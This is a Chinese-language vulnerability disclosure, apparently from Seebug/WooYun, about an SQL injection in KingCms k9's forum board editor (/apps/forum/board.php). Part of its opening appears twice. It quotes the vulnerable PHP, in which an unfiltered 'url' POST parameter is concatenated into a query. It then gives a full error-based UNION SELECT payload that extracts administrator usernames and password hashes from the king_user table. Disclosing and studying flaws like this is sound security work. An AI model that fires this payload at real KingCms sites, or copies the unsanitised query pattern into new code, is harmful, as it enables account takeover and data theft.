### 简要描述: KingCms最新版(k9)注入漏洞 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:POST /apps/forum/board.php HTTP/1.1 注入参数:url 问题文件在/apps/forum/board.php ``` function _edit() { $u=new user;$u->auth_role('forum_board_edit'); $bid=kc_post('bid',2,0); $db=new db; $str=new str; if(empty($_POST['name'])) kc_tip('分类名称不能为空!','form'); if($str->len($_POST['name'])>50) kc_tip('分类名称不能超过15字!','form'); if(empty($_POST['title'])) kc_tip('分类标题不能为空!','form'); if($str->len($_POST['title'])>100) kc_tip('分类标题不能超过80字!','form'); if(empty($_POST['template'])) kc_tip('请选择模板!','form'); if($str->len($_POST['keywords'])>100) kc_tip('关键词不能超过80字','form'); if($str->len($_POST['description'])>160) kc_tip('META简述文字不能超过160字'); if(empty($_POST['url'])) kc_tip('请填写栏目路径!','form'); $rs=$db->getRows_one('%s_forum_board','bid',"url='{$_POST['url']}'".(empty($bid)?'':" and...
### 简要描述: KingCms最新版(k9)注入漏洞 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:POST /apps/forum/board.php HTTP/1.1 注入参数:url 问题文件在/apps/forum/board.php ``` function _edit() { $u=new user;$u->auth_role('forum_board_edit'); $bid=kc_post('bid',2,0); $db=new db; $str=new str; if(empty($_POST['name'])) kc_tip('分类名称不能为空!','form'); if($str->len($_POST['name'])>50) kc_tip('分类名称不能超过15字!','form'); if(empty($_POST['title'])) kc_tip('分类标题不能为空!','form'); if($str->len($_POST['title'])>100) kc_tip('分类标题不能超过80字!','form'); if(empty($_POST['template'])) kc_tip('请选择模板!','form'); if($str->len($_POST['keywords'])>100) kc_tip('关键词不能超过80字','form'); if($str->len($_POST['description'])>160) kc_tip('META简述文字不能超过160字'); if(empty($_POST['url'])) kc_tip('请填写栏目路径!','form'); $rs=$db->getRows_one('%s_forum_board','bid',"url='{$_POST['url']}'".(empty($bid)?'':" and bid<>$bid")); if(!empty($rs)) kc_tip('路径重复,请修改!','form'); 无关代码 ``` $_POST['rul']没有经过处理就进入了$db->getRows_one,去看看$db->getRows_one ``` public function getRows_one($table,$insql='*',$where=null,$orderby=null) { $table=str_replace('%s',DB_PRE,$table); $sql="SELECT $insql FROM $table "; $sql.=empty($where) ? '' : ' WHERE '.$where; $sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby; return $this->get_one($sql); } ``` 在执行sql语句之前,也没有过滤,这里就造成了注入。 Kingcms可以报错,因此 Payload: ``` jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=edit&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&name=1&bid&title=1&template=1&keywords=1&description=1&url=' UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a%23 ``` 注入成功,见下图 [<img src="https://images.seebug.org/upload/201503/17235733187057b0789bee220cefcafb19139a6e.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/17235733187057b0789bee220cefcafb19139a6e.jpg) ### 漏洞证明: 见 详细说明